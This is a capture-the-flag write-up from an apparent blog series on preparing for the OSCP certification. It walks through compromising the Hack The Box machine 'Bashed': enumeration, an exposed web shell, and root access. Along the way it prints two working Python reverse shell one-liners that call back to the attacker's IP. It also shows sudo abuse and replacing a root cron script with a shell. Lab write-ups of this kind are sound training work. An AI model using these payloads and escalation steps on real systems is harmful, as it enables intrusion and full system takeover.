Path to OSCP: Bashed
As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.
Next on our to-do list is Bashed. Nmap to begin as usual:
u01@nostromo:~$ sudo nmap -p- -A bashed.htb -oA bashed/bashed Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 08:41 BST Nmap scan report for bashed.htb (10.10.10.68) Host is up (0.020s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Arrexel's Development Site |_http-server-header: Apache/2.4.18 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=8/20%OT=80%CT=1%CU=38372%PV=Y%DS=2%DC=T%G=Y%TM=64E1C3D OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPS OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1 OS:1NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops TRACEROUTE (using port 1720/tcp) HOP RTT ADDRESS 1 20.26 ms 10.10.14.1 2 20.57 ms bashed.htb (10.10.10.68) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.58 seconds
Just a single open port, HTTP/80. The main page shows a personal development blog, for the development of phpbash, a “standalone, semi-interactive web shell“.
Fairly obvious where this is going, we need to find an instance of the web shell “carelessly” left publicly accessible. The above example screenshot from the site would suggest it might be found in /uploads/, but that’s not the case. After trying a few more locations manually, I turn to gobuster to see what it can find:
u01@nostromo:~ $gobuster dir-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bashed.htb =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://bashed.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Timeout: 10s =============================================================== 2023/08/20 08:50:54 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 309] [--> http://bashed.htb/images/] /uploads (Status: 301) [Size: 310] [--> http://bashed.htb/uploads/] /php (Status: 301) [Size: 306] [--> http://bashed.htb/php/] /css (Status: 301) [Size: 306] [--> http://bashed.htb/css/] /dev (Status: 301) [Size: 306] [--> http://bashed.htb/dev/] /js (Status: 301) [Size: 305] [--> http://bashed.htb/js/] /fonts (Status: 301) [Size: 308] [--> http://bashed.htb/fonts/]
Sure enough, there’s a /dev/ directory, with two samples of phpbash.
We click the link, and we’re into a webshell as www-data, which we can use to retrieve the user.txt flag from /home/arrexel.
In order to get a better shell I confirm the existence of Python with “which python” then fire off a reverse shell command to a listening netcat instance:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
From here I download LinPEAS with wget and kick off the enumeration script. This throws up a couple of interesting finds, the most promising of which is sudo privileges to run anything as the user ‘scriptmanager’ with no password:
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
So we do just that to run bash as scriptmanager:
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ sudo -u scriptmanager bash -i bash: cannot set terminal process group (851): Inappropriate ioctl for device bash: no job control in this shell scriptmanager@bashed:/var/www/html/dev$
We’re obviously going to be looking for an exploitable script for privilege escalation. In the root directory we have /scripts, which we have access to. It contains a test.py and test.txt file:
scriptmanager@bashed:/var/tmp$ cd /scripts cd /scripts scriptmanager@bashed:/scripts$ ls -la ls -la total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Sep 1 03:54 . drwxr-xr-x 23 root root 4096 Jun 2 2022 .. -rw-r--r-- 1 scriptmanager scriptmanager 280 Sep 1 03:57 test.py -rw-r--r-- 1 root root 12 Sep 1 03:57 test.txt scriptmanager@bashed:/scripts$ cat test.py cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close
As the test.txt file generated by the test.py script is created as root, we can imply that test.py is run under root privileges. We have write access to test.py, and the test.txt appears to get rewritten regularly as part of a cron job, so it’s just a case of modifying the script to do whatever we choose under root.
After a lot of messing trying to modify the existing file with echo and vi over the reverse shell, I decide to just delete the existing file and upload with wget a new file containing a simple python reverse shell to a netcat listener:
scriptmanager@bashed:/scripts$ cat test.py cat test.py a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.12",7778));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")
After a few seconds the file is triggered and we get root with access to root.txt:
u01@nostromo:~$ nc -lvnp 7778 listening on [any] 7778 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.68] 42962 # id id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt cat /root/root.txt 59db******************************* #